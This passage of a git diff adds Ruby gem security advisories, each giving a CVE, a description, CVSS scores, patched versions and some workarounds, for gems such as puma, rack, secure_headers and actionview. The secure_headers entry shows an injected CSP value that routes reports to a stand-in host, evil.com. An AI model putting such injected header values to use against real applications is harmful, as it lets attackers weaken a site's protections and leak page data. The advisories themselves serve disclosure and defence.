+    could allow an attacker to discern whether a byte on the stack contains the
+    characters A, a, I, i, or 0, or any other character.
+
+    Patched with commit https://gitlab.gnome.org/GNOME/libxslt/commit/c5eb6cf3aba0af048596106ed839b4ae17ecbcb1
+
+    ---
+
+    CVE-2019-13118
+
+    https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-13118.html
+
+    Priority: Low
+
+    Description: In numbers.c in libxslt 1.1.33, a type holding grouping characters of an
+    xsl:number instruction was too narrow and an invalid character/length
+    combination could be passed to xsltNumberFormatDecimal, leading to a read
+    of uninitialized stack data
+
+    Patched with commit https://gitlab.gnome.org/GNOME/libxslt/commit/6ce8de69330783977dd14f6569419489875fb71b
+
+    ---
+
+    CVE-2019-18197
+
+    https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-18197.html
+
+    Priority: Medium
+
+    Description: In xsltCopyText in transform.c in libxslt 1.1.33, a pointer variable isn't
+    reset under certain circumstances. If the relevant memory area happened to
+    be freed and reused in a certain way, a bounds check could fail and memory
+    outside a buffer could be written to, or uninitialized data could be
+    disclosed.
+
+    Patched with commit https://gitlab.gnome.org/GNOME/libxslt/commit/2232473733b7313d67de8836ea3b29eec6e8e285
+  patched_versions:
+  - ">= 1.10.5"
+  related:
+    cve:
+    - 2019-13118
+    - 2019-18197
+    url:
+    - https://groups.google.com/d/msg/ruby-security-ann/-Wq4aouIA3Q/yc76ZHemBgAJ
+    - https://usn.ubuntu.com/4164-1/
+    - https://gitlab.gnome.org/GNOME/libxslt/commit/c5eb6cf3aba0af048596106ed839b4ae17ecbcb1
+    - https://gitlab.gnome.org/GNOME/libxslt/commit/6ce8de69330783977dd14f6569419489875fb71b
+    - https://gitlab.gnome.org/GNOME/libxslt/commit/2232473733b7313d67de8836ea3b29eec6e8e285
+---
diff --git a/advisories/_posts/2019-11-09-CVE-2019-18841.md b/advisories/_posts/2019-11-09-CVE-2019-18841.md
new file mode 100644
index 00000000..f5adc85b
--- /dev/null
+++ b/advisories/_posts/2019-11-09-CVE-2019-18841.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2019-18841 (chartkick): Prototype Pollution in Chartkick.js 3.1.x'
+comments: false
+categories:
+- chartkick
+advisory:
+  gem: chartkick
+  cve: 2019-18841
+  ghsa: 5pm8-492c-92p5
+  url: https://github.com/ankane/chartkick.js/issues/117
+  title: Prototype Pollution in Chartkick.js 3.1.x
+  date: 2019-11-09
+  description: |
+    A specially crafted response in data loaded via URL
+    can cause prototype pollution in JavaScript.
+  cvss_v3: 7.3
+  unaffected_versions:
+  - "< 3.1.0"
+  patched_versions:
+  - ">= 3.3.0"
+---
diff --git a/advisories/_posts/2019-11-14-CVE-2019-18848.md b/advisories/_posts/2019-11-14-CVE-2019-18848.md
new file mode 100644
index 00000000..c9a2d0d2
--- /dev/null
+++ b/advisories/_posts/2019-11-14-CVE-2019-18848.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2019-18848 (json-jwt): json-jwt improper input validation due to lack
+  of element count when splitting string'
+comments: false
+categories:
+- json-jwt
+advisory:
+  gem: json-jwt
+  cve: 2019-18848
+  ghsa: cff7-6h4q-q5pj
+  url: https://github.com/nov/json-jwt/commit/ada16e772906efdd035e3df49cb2ae372f0f948a
+  date: 2019-11-14
+  title: json-jwt improper input validation due to lack of element count when splitting
+    string
+  description: |
+    The json-jwt gem before 1.11.0 for Ruby lacks an element count during
+    the splitting of a JWE string.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.11.0"
+---
diff --git a/advisories/_posts/2019-11-15-CVE-2019-18978.md b/advisories/_posts/2019-11-15-CVE-2019-18978.md
new file mode 100644
index 00000000..05a974d4
--- /dev/null
+++ b/advisories/_posts/2019-11-15-CVE-2019-18978.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2019-18978 (rack-cors): rack-cors directory traversal via path'
+comments: false
+categories:
+- rack-cors
+advisory:
+  gem: rack-cors
+  cve: 2019-18978
+  ghsa: pf8f-w267-mq2h
+  url: https://github.com/cyu/rack-cors/commit/e4d4fc362a4315808927011cbe5afcfe5486f17d
+  title: rack-cors directory traversal via path
+  date: 2019-11-15
+  description: |
+    An issue was discovered in the rack-cors (aka Rack CORS Middleware) gem
+    before 1.0.4 for Ruby. It allows ../ directory traversal to access private resources
+    because resource matching does not ensure that pathnames are in a canonical format.
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 1.0.4"
+---
diff --git a/advisories/_posts/2019-12-05-CVE-2019-16770.md b/advisories/_posts/2019-12-05-CVE-2019-16770.md
new file mode 100644
index 00000000..fdcb9603
--- /dev/null
+++ b/advisories/_posts/2019-12-05-CVE-2019-16770.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2019-16770 (puma): Keepalive thread overload/DoS in puma'
+comments: false
+categories:
+- puma
+advisory:
+  gem: puma
+  cve: 2019-16770
+  ghsa: 7xx3-m584-x994
+  url: https://github.com/puma/puma/security/advisories/GHSA-7xx3-m584-x994
+  date: 2019-12-05
+  title: Keepalive thread overload/DoS in puma
+  description: |
+    A poorly-behaved client could use keepalive requests to monopolize
+    Puma's reactor and create a denial of service attack.
+
+    If more keepalive connections to Puma are opened than there are
+    threads available, additional connections will wait permanently if
+    the attacker sends requests frequently enough.
+  cvss_v3: 8.8
+  cvss_v2: 6.8
+  patched_versions:
+  - "~> 3.12.2"
+  - ">= 4.3.1"
+---
diff --git a/advisories/_posts/2019-12-16-CVE-2019-16779.md b/advisories/_posts/2019-12-16-CVE-2019-16779.md
new file mode 100644
index 00000000..839f1e91
--- /dev/null
+++ b/advisories/_posts/2019-12-16-CVE-2019-16779.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2019-16779 (excon): Race condition when using persistent connections'
+comments: false
+categories:
+- excon
+advisory:
+  gem: excon
+  cve: 2019-16779
+  ghsa: q58g-455p-8vw9
+  url: https://github.com/excon/excon/security/advisories/GHSA-q58g-455p-8vw9
+  date: 2019-12-16
+  title: Race condition when using persistent connections
+  description: |
+    There was a race condition around persistent connections, where a connection
+    which is interrupted (such as by a timeout) would leave data on the socket.
+    Subsequent requests would then read this data, returning content from the
+    previous response. The race condition window appears to be short, and it
+    would be difficult to purposefully exploit this.
+
+    Users can workaround the problem by disabling persistent connections, though
+    this may cause performance implications.
+  cvss_v3: 5.8
+  patched_versions:
+  - ">= 0.71.0"
+  related:
+    url:
+    - https://github.com/excon/excon/commit/ccb57d7a422f020dc74f1de4e8fb505ab46d8a29
+---
diff --git a/advisories/_posts/2019-12-18-CVE-2019-16782.md b/advisories/_posts/2019-12-18-CVE-2019-16782.md
new file mode 100644
index 00000000..23d639d4
--- /dev/null
+++ b/advisories/_posts/2019-12-18-CVE-2019-16782.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2019-16782 (rack): Possible information leak / session hijack vulnerability'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2019-16782
+  ghsa: hrqr-hxpp-chr3
+  url: https://github.com/rack/rack/security/advisories/GHSA-hrqr-hxpp-chr3
+  date: 2019-12-18
+  title: Possible information leak / session hijack vulnerability
+  description: |
+    There's a possible information leak / session hijack vulnerability in Rack.
+
+    Attackers may be able to find and hijack sessions by using timing attacks
+    targeting the session id. Session ids are usually stored and indexed in a
+    database that uses some kind of scheme for speeding up lookups of that
+    session id. By carefully measuring the amount of time it takes to look up
+    a session, an attacker may be able to find a valid session id and hijack
+    the session.
+
+    The session id itself may be generated randomly, but the way the session is
+    indexed by the backing store does not use a secure comparison.
+
+    Impact:
+
+    The session id stored in a cookie is the same id that is used when querying
+    the backing session storage engine.  Most storage mechanisms (for example a
+    database) use some sort of indexing in order to speed up the lookup of that
+    id.  By carefully timing requests and session lookup failures, an attacker
+    may be able to perform a timing attack to determine an existing session id
+    and hijack that session.
+  cvss_v3: 6.3
+  patched_versions:
+  - "~> 1.6.12"
+  - ">= 2.0.8"
+---
diff --git a/advisories/_posts/2019-12-26-CVE-2019-19919.md b/advisories/_posts/2019-12-26-CVE-2019-19919.md
new file mode 100644
index 00000000..81b105dd
--- /dev/null
+++ b/advisories/_posts/2019-12-26-CVE-2019-19919.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2019-19919 (bootstrap-wysihtml5-rails): Prototype Pollution in handlebars'
+comments: false
+categories:
+- bootstrap-wysihtml5-rails
+advisory:
+  gem: bootstrap-wysihtml5-rails
+  cve: 2019-19919
+  ghsa: w457-6q6x-cgp9
+  url: https://github.com/advisories/GHSA-w457-6q6x-cgp9
+  title: Prototype Pollution in handlebars
+  date: 2019-12-26
+  description: |
+    The bootstrap-wysihtml5-rails gem includes the vendored JavaScript library 'handlebars.js'.
+    Versions 0.3.3.7-0.3.3.8 include handlebars 3.0.2, and versions 0.3.3.5-0.3.3.6 include handlebars 1.3.0.
+
+    Versions Affected: 0.3.3.5-0.3.3.8
+    Not affected: < 0.3.3.5
+    Fixed Versions: None
+
+    Versions of handlebars prior to 3.0.8 or 4.3.0 are vulnerable to Prototype Pollution leading to Remote Code Execution.
+    Templates may alter an Objects' __proto__ and __defineGetter__ properties, which may allow an attacker to execute
+    arbitrary code through crafted payloads.
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "< 0.3.3.5"
+---
diff --git a/advisories/_posts/2020-01-09-CVE-2014-3211.md b/advisories/_posts/2020-01-09-CVE-2014-3211.md
new file mode 100644
index 00000000..b384ab5f
--- /dev/null
+++ b/advisories/_posts/2020-01-09-CVE-2014-3211.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2014-3211 (publify_core): Publify vulnerable to DoS attack'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2014-3211
+  ghsa: vq74-9583-hrm4
+  url: https://github.com/publify/publify/releases/tag/v8.0.2
+  title: Publify vulnerable to DoS attack
+  date: 2020-01-09
+  description: 'Publify before 8.0.2 is vulnerable to a Denial of Service attack
+
+    '
+  cvss_v2: 5.0
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 8.0.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-3211
+    - https://cve.report/CVE-2014-3211
+    - https://github.com/publify/publify/releases/tag/v8.0.2
+    - https://publify.github.io
+    - https://rubygems.org/gems/publify_core
+    - https://rubygems.org/gems/typo
+    - https://github.com/advisories/GHSA-vq74-9583-hrm4
+  notes: |
+    Found "Formerly known as Typo" at https://github.com/publify/publify
+    FYI: Gem publify_core oldest release is 9.0.0.pre1 (11/13/2016);
+---
diff --git a/advisories/_posts/2020-01-23-CVE-2020-5216.md b/advisories/_posts/2020-01-23-CVE-2020-5216.md
new file mode 100644
index 00000000..21bd5c03
--- /dev/null
+++ b/advisories/_posts/2020-01-23-CVE-2020-5216.md
@@ -0,0 +1,57 @@
+---
+layout: advisory
+title: 'CVE-2020-5216 (secure_headers): secure_headers header injection due to newline'
+comments: false
+categories:
+- secure_headers
+advisory:
+  gem: secure_headers
+  cve: 2020-5216
+  ghsa: w978-rmpf-qmwg
+  url: https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg
+  date: 2020-01-23
+  title: secure_headers header injection due to newline
+  description: |
+    If user-supplied input was passed into append/override_content_security_policy_directives,
+    a newline could be injected leading to limited header injection.
+
+    Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy
+    header with the remaining value of the original string. It will continue to create new headers
+    for each newline.
+
+    e.g.
+
+    ```
+    override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])
+    ```
+
+    would result in
+
+    ```
+    Content-Security-Policy: ... script-src: mycdn.com
+    Content-Security-Policy: injected
+    Content-Security-Policy: rest-of-the-header
+    ```
+
+    CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:
+
+    ```
+    override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
+    ```
+
+    ```
+    Content-Security-Policy: ... script-src: mycdn.com
+    Content-Security-Policy: default-src 'none'; report-uri evil.com
+    Content-Security-Policy: rest-of-the-header
+    ```
+
+    Workarounds
+    ```
+    override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
+    ```
+  cvss_v3: 4.4
+  patched_versions:
+  - "~> 3.9"
+  - "~> 5.2"
+  - ">= 6.3.0"
+---
diff --git a/advisories/_posts/2020-01-23-CVE-2020-5217.md b/advisories/_posts/2020-01-23-CVE-2020-5217.md
new file mode 100644
index 00000000..c11742bc
--- /dev/null
+++ b/advisories/_posts/2020-01-23-CVE-2020-5217.md
@@ -0,0 +1,47 @@
+---
+layout: advisory
+title: 'CVE-2020-5217 (secure_headers): secure_headers directive injection using semicolon'
+comments: false
+categories:
+- secure_headers
+advisory:
+  gem: secure_headers
+  cve: 2020-5217
+  ghsa: xq52-rv6w-397c
+  url: https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
+  date: 2020-01-23
+  title: secure_headers directive injection using semicolon
+  description: |
+    If user-supplied input was passed into append/override_content_security_policy_directives,
+    a semicolon could be injected leading to directive injection.
+
+    This could be used to e.g. override a script-src directive. Duplicate directives are ignored
+    and the first one wins. The directives in secure_headers are sorted alphabetically so they
+    pretty much all come before script-src. A previously undefined directive would receive a value
+    even if SecureHeaders::OPT_OUT was supplied.
+
+    The fixed versions will silently convert the semicolons to spaces and emit a deprecation warning
+    when this happens. This will result in innocuous browser console messages if being
+    exploited/accidentally used. In future releases, we will raise application errors resulting in
+    500s.
+
+    > Duplicate script-src directives detected. All but the first instance will be ignored.
+
+    See https://www.w3.org/TR/CSP3/#parse-serialized-policy
+
+    > Note: In this case, the user agent SHOULD notify developers that a duplicate directive was
+    > ignored. A console warning might be appropriate, for example.
+
+    # Workarounds
+
+    If you are passing user input into the above methods, you could filter out the input:
+
+    ```
+    override_content_security_policy_directives(:frame_src, [user_input.gsub(";", " ")])
+    ```
+  cvss_v3: 4.4
+  patched_versions:
+  - "~> 3.8"
+  - "~> 5.1"
+  - ">= 6.2.0"
+---
diff --git a/advisories/_posts/2020-01-25-CVE-2020-7981.md b/advisories/_posts/2020-01-25-CVE-2020-7981.md
new file mode 100644
index 00000000..72cf627c
--- /dev/null
+++ b/advisories/_posts/2020-01-25-CVE-2020-7981.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2020-7981 (geocoder): Geocoder gem for Ruby contains possible SQL injection
+  vulnerability'
+comments: false
+categories:
+- geocoder
+advisory:
+  gem: geocoder
+  cve: 2020-7981
+  ghsa: 864j-6qpp-cmrr
+  url: https://github.com/alexreisner/geocoder/blob/master/CHANGELOG.md#161-2020-jan-23
+  title: Geocoder gem for Ruby contains possible SQL injection vulnerability
+  date: 2020-01-25
+  description: |
+    sql.rb in Geocoder allows Boolean-based SQL injection when within_bounding_box
+    is used in conjunction with untrusted sw_lat, sw_lng, ne_lat, or ne_lng data.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.6.1"
+  related:
+    url:
+    - https://github.com/alexreisner/geocoder/compare/v1.6.0...v1.6.1
+    - https://github.com/alexreisner/geocoder/commit/dcdc3d8675411edce3965941a2ca7c441ca48613
+---
diff --git a/advisories/_posts/2020-02-10-CVE-2020-5241.md b/advisories/_posts/2020-02-10-CVE-2020-5241.md
new file mode 100644
index 00000000..7aeefd96
--- /dev/null
+++ b/advisories/_posts/2020-02-10-CVE-2020-5241.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2020-5241 (matestack-ui-core): matestack-ui-core is vulnerable to XSS/Script
+  injection'
+comments: false
+categories:
+- matestack-ui-core
+advisory:
+  gem: matestack-ui-core
+  cve: 2020-5241
+  ghsa: 3jqw-vv45-mjhh
+  url: https://github.com/matestack/matestack-ui-core/security/advisories/GHSA-3jqw-vv45-mjhh
+  title: matestack-ui-core is vulnerable to XSS/Script injection
+  date: 2020-02-10
+  description: |
+    matestack-ui-core does not excape strings by default and does not cover this in the docs.
+    matestack-ui-core should escape strings by default in order to prevent XSS/Script injection vulnerability.
+    v0.7.4 fixes that by escaping strings by default.
+  cvss_v2: 10.0
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 0.7.4"
+---
diff --git a/advisories/_posts/2020-02-12-CVE-2020-7595.md b/advisories/_posts/2020-02-12-CVE-2020-7595.md
new file mode 100644
index 00000000..56058022
--- /dev/null
+++ b/advisories/_posts/2020-02-12-CVE-2020-7595.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2020-7595 (nokogiri): libxml2 2.9.10 has an infinite loop in a certain
+  end-of-file situation'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2020-7595
+  ghsa: 7553-jr98-vx47
+  url: https://github.com/sparklemotion/nokogiri/issues/1992
+  title: libxml2 2.9.10 has an infinite loop in a certain end-of-file situation
+  date: 2020-02-12
+  description: |2
+
+    Nokogiri has backported the patch for CVE-2020-7595 into its vendored version
+    of libxml2, and released this as v1.10.8
+
+    CVE-2020-7595 has not yet been addressed in an upstream libxml2 release, and
+    so Nokogiri versions <= v1.10.7 are vulnerable.
+  cvss_v2: 5.0
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.10.8"
+---
diff --git a/advisories/_posts/2020-02-14-CVE-2019-10780.md b/advisories/_posts/2020-02-14-CVE-2019-10780.md
new file mode 100644
index 00000000..9ac2e600
--- /dev/null
+++ b/advisories/_posts/2020-02-14-CVE-2019-10780.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2019-10780 (bibtex-ruby): OS command injection in BibTeX-Ruby'
+comments: false
+categories:
+- bibtex-ruby
+advisory:
+  gem: bibtex-ruby
+  cve: 2019-10780
+  ghsa: c5r5-7pfh-6qg6
+  url: https://github.com/advisories/GHSA-c5r5-7pfh-6qg6
+  date: 2020-02-14
+  title: OS command injection in BibTeX-Ruby
+  description: |
+    BibTeX-ruby before 5.1.0 allows shell command injection due to unsanitized
+    user input being passed directly to the built-in Ruby Kernel.open method through
+    BibTeX.open.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 5.1.0"
+---
diff --git a/advisories/_posts/2020-02-27-CVE-2020-5247.md b/advisories/_posts/2020-02-27-CVE-2020-5247.md
new file mode 100644
index 00000000..ba57df14
--- /dev/null
+++ b/advisories/_posts/2020-02-27-CVE-2020-5247.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2020-5247 (puma): HTTP Response Splitting vulnerability in puma'
+comments: false
+categories:
+- puma
+advisory:
+  gem: puma
+  cve: 2020-5247
+  ghsa: 84j7-475p-hp8v
+  url: https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v
+  date: 2020-02-27
+  title: HTTP Response Splitting vulnerability in puma
+  description: |
+    If an application using Puma allows untrusted input in a response header,
+    an attacker can use newline characters (i.e. CR, LF) to end the header and
+    inject malicious content, such as additional headers or an entirely new
+    response body. This vulnerability is known as HTTP Response Splitting.
+
+    While not an attack in itself, response splitting is a vector for several
+    other attacks, such as cross-site scripting (XSS).
+  cvss_v3: 6.5
+  patched_versions:
+  - "~> 3.12.4"
+  - ">= 4.3.3"
+  related:
+    cve:
+    - 2019-16254
+---
diff --git a/advisories/_posts/2020-03-03-CVE-2020-5249.md b/advisories/_posts/2020-03-03-CVE-2020-5249.md
new file mode 100644
index 00000000..d31f91f9
--- /dev/null
+++ b/advisories/_posts/2020-03-03-CVE-2020-5249.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2020-5249 (puma): HTTP Response Splitting (Early Hints) in Puma'
+comments: false
+categories:
+- puma
+advisory:
+  gem: puma
+  cve: 2020-5249
+  ghsa: 33vf-4xgg-9r58
+  url: https://github.com/puma/puma/security/advisories/GHSA-33vf-4xgg-9r58
+  date: 2020-03-03
+  title: HTTP Response Splitting (Early Hints) in Puma
+  description: |
+    ### Impact
+    If an application using Puma allows untrusted input in an early-hints header,
+    an attacker can use a carriage return character to end the header and inject
+    malicious content, such as additional headers or an entirely new response body.
+    This vulnerability is known as [HTTP Response
+    Splitting](https://owasp.org/www-community/attacks/HTTP_Response_Splitting)
+
+    While not an attack in itself, response splitting is a vector for several other
+    attacks, such as cross-site scripting (XSS).
+
+    This is related to [CVE-2020-5247](https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v),
+    which fixed this vulnerability but only for regular responses.
+
+    ### Patches
+    This has been fixed in 4.3.3 and 3.12.4.
+
+    ### Workarounds
+    Users can not allow untrusted/user input in the Early Hints response header.
+  cvss_v3: 6.5
+  patched_versions:
+  - "~> 3.12.4"
+  - ">= 4.3.3"
+  related:
+    cve:
+    - 2020-5247
+---
diff --git a/advisories/_posts/2020-03-10-CVE-2020-5243.md b/advisories/_posts/2020-03-10-CVE-2020-5243.md
new file mode 100644
index 00000000..a6989346
--- /dev/null
+++ b/advisories/_posts/2020-03-10-CVE-2020-5243.md
@@ -0,0 +1,37 @@
+---
+layout: advisory
+title: 'CVE-2020-5243 (user_agent_parser): Denial of Service in uap-core when processing
+  crafted User-Agent strings'
+comments: false
+categories:
+- user_agent_parser
+advisory:
+  gem: user_agent_parser
+  cve: 2020-5243
+  ghsa: pcqq-5962-hvcw
+  url: https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw
+  date: 2020-03-10
+  title: Denial of Service in uap-core when processing crafted User-Agent strings
+  description: |
+    ### Impact
+    Some regexes are vulnerable to regular expression denial of service (REDoS) due to
+    overlapping capture groups. This allows remote attackers to overload a server by
+    setting the User-Agent header in an HTTP(S) request to maliciously crafted long
+    strings.
+
+    ### Patches
+    Please update `uap-ruby` to >= v2.6.0
+
+    ### For more information
+    https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p
+  cvss_v3: 5.7
+  patched_versions:
+  - ">= 2.6.0"
+  related:
+    ghsa:
+    - cmcx-xhr8-3w9p
+    url:
+    - https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw
+    - https://github.com/ua-parser/uap-ruby/commit/2bb18268f4c5ba7d4ba0e21c296bf6437063da3a
+    - https://github.com/advisories/GHSA-pcqq-5962-hvcw
+---
diff --git a/advisories/_posts/2020-03-10-GHSA-pcqq-5962-hvcw.md b/advisories/_posts/2020-03-10-GHSA-pcqq-5962-hvcw.md
new file mode 100644
index 00000000..042ae100
--- /dev/null
+++ b/advisories/_posts/2020-03-10-GHSA-pcqq-5962-hvcw.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'GHSA-pcqq-5962-hvcw (user_agent_parser): Denial of Service in uap-core when
+  processing crafted User-Agent strings'
+comments: false
+categories:
+- user_agent_parser
+advisory:
+  gem: user_agent_parser
+  ghsa: pcqq-5962-hvcw
+  url: https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw
+  title: Denial of Service in uap-core when processing crafted User-Agent strings
+  date: 2020-03-10
+  description: |-
+    ### Impact
+    Some regexes are vulnerable to regular expression denial of service (REDoS) due to overlapping capture groups. This allows remote attackers to overload a server by setting the User-Agent header in an HTTP(S) request to maliciously crafted long strings.
+
+    ### Patches
+    Please update `uap-ruby` to &gt;= v2.6.0
+
+    ### For more information
+    https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p
+
+    Reported in `uap-core` by Ben Caller @bcaller
+  patched_versions:
+  - ">= 2.6.0"
+  related:
+    url:
+    - https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw
+    - https://github.com/ua-parser/uap-ruby/commit/2bb18268f4c5ba7d4ba0e21c296bf6437063da3a
+    - https://github.com/advisories/GHSA-pcqq-5962-hvcw
+---
diff --git a/advisories/_posts/2020-03-14-CVE-2020-36190.md b/advisories/_posts/2020-03-14-CVE-2020-36190.md
new file mode 100644
index 00000000..fb8cb77a
--- /dev/null
+++ b/advisories/_posts/2020-03-14-CVE-2020-36190.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2020-36190 (rails_admin): rails_admin ruby gem XSS vulnerability'
+comments: false
+categories:
+- rails_admin
+advisory:
+  gem: rails_admin
+  cve: 2020-36190
+  ghsa: wjx2-7hqq-8h7m
+  url: https://github.com/sferik/rails_admin/commit/d72090ec6a07c3b9b7b48ab50f3d405f91ff4375
+  title: rails_admin ruby gem XSS vulnerability
+  date: 2020-03-14
+  description: |
+    RailsAdmin (aka rails_admin) before 1.4.3 and 2.x before 2.0.2 allows
+    XSS via nested forms.
+  cvss_v3: 6.1
+  patched_versions:
+  - "~> 1.4.3"
+  - ">= 2.0.2"
+---
diff --git a/advisories/_posts/2020-03-14-CVE-2020-5257.md b/advisories/_posts/2020-03-14-CVE-2020-5257.md
new file mode 100644
index 00000000..e8d75270
--- /dev/null
+++ b/advisories/_posts/2020-03-14-CVE-2020-5257.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2020-5257 (administrate): Sort order SQL injection via `direction` parameter
+  in administrate'
+comments: false
+categories:
+- administrate
+advisory:
+  gem: administrate
+  cve: 2020-5257
+  ghsa: 2p5p-m353-833w
+  title: Sort order SQL injection via `direction` parameter in administrate
+  date: 2020-03-14
+  url: https://github.com/advisories/GHSA-2p5p-m353-833w
+  description: |
+    In Administrate (rubygem) before version 0.13.0, when sorting by attributes
+    on a dashboard, the direction parameter was not validated before being
+    interpolated into the SQL query.
+
+    This could present a SQL injection if the attacker were able to modify the
+    direction parameter and bypass ActiveRecord SQL protections.
+
+    Whilst this does have a high-impact, to exploit this you need access to the
+    Administrate dashboards, which should generally be behind authentication.
+  cvss_v3: 7.7
+  patched_versions:
+  - ">= 0.13.0"
+  related:
+    url:
+    - https://github.com/thoughtbot/administrate/commit/3ab838b83c5f565fba50e0c6f66fe4517f98eed3
+---
diff --git a/advisories/_posts/2020-03-19-CVE-2020-10663.md b/advisories/_posts/2020-03-19-CVE-2020-10663.md
new file mode 100644
index 00000000..a3bc0ebc
--- /dev/null
+++ b/advisories/_posts/2020-03-19-CVE-2020-10663.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'CVE-2020-10663 (json): json Gem for Ruby Unsafe Object Creation Vulnerability
+  (additional fix)'
+comments: false
+categories:
+- json
+advisory:
+  gem: json
+  cve: 2020-10663
+  ghsa: jphg-qwrw-7w9g
+  url: https://www.ruby-lang.org/en/news/2020/03/19/json-dos-cve-2020-10663/
+  title: json Gem for Ruby Unsafe Object Creation Vulnerability (additional fix)
+  date: 2020-03-19
+  description: |
+    There is an unsafe object creation vulnerability in the json gem bundled with
+    Ruby. This vulnerability has been assigned the CVE identifier CVE-2020-10663.
+    We strongly recommend upgrading the json gem.
+
+    Details
+    -------
+
+    When parsing certain JSON documents, the json gem (including the one bundled
+    with Ruby) can be coerced into creating arbitrary objects in the target system.
+
+    This is the same issue as CVE-2013-0269. The previous fix was incomplete, which
+    addressed JSON.parse(user_input), but didn’t address some other styles of JSON
+    parsing including JSON(user_input) and JSON.parse(user_input, nil).
+
+    See CVE-2013-0269 in detail. Note that the issue was exploitable to cause a
+    Denial of Service by creating many garbage-uncollectable Symbol objects, but
+    this kind of attack is no longer valid because Symbol objects are now
+    garbage-collectable. However, creating arbitrary objects may cause severe
+    security consequences depending upon the application code.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.3.0"
+  related:
+    cve:
+    - 2013-0269
+    url:
+    - https://groups.google.com/forum/#!topic/ruby-security-ann/ermX1eQqqKA
+---
diff --git a/advisories/_posts/2020-03-19-CVE-2020-5267.md b/advisories/_posts/2020-03-19-CVE-2020-5267.md
new file mode 100644
index 00000000..816adc71
--- /dev/null
+++ b/advisories/_posts/2020-03-19-CVE-2020-5267.md
@@ -0,0 +1,78 @@
+---
+layout: advisory
+title: 'CVE-2020-5267 (actionview): Possible XSS vulnerability in ActionView'
+comments: false
+categories:
+- actionview
+- rails
+advisory:
+  gem: actionview
+  framework: rails
+  cve: 2020-5267
+  ghsa: 65cv-r6x7-79hv
+  url: https://groups.google.com/forum/#!topic/rubyonrails-security/55reWMM_Pg8
+  title: Possible XSS vulnerability in ActionView
+  date: 2020-03-19
+  description: |
+    There is a possible XSS vulnerability in ActionView's JavaScript literal
+    escape helpers.  Views that use the `j` or `escape_javascript` methods
+    may be susceptible to XSS attacks.
+
+    Versions Affected:  All.
+    Not affected:       None.
+    Fixed Versions:     6.0.2.2, 5.2.4.2
+
+    Impact
+    ------
+    There is a possible XSS vulnerability in the `j` and `escape_javascript`
+    methods in ActionView.  These methods are used for escaping JavaScript string
+    literals.  Impacted code will look something like this:
+
+    ```erb
+    <script>let a = `<%= j unknown_input %>`</script>
+    ```
+
+    or
+
+    ```erb
+    <script>let a = `<%= escape_javascript unknown_input %>`</script>
+    ```
+
+    Releases
+    --------
+    The 6.0.2.2 and 5.2.4.2 releases are available at the normal locations.
+
+    Workarounds
+    -----------
+    For those that can't upgrade, the following monkey patch may be used:
+
+    ```ruby
+    ActionView::Helpers::JavaScriptHelper::JS_ESCAPE_MAP.merge!(
+      {
+        "`" => "\\`",
+        "$" => "\\$"
+      }
+    )
+
+    module ActionView::Helpers::JavaScriptHelper
+      alias :old_ej :escape_javascript
+      alias :old_j :j
+
+      def escape_javascript(javascript)
+        javascript = javascript.to_s
+        if javascript.empty?
+          result = ""
+        else
+          result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"']|[`]|[$])/u, JS_ESCAPE_MAP)
+        end
+        javascript.html_safe? ? result.html_safe : result
+      end
+
+      alias :j :escape_javascript
+    end
+    ```
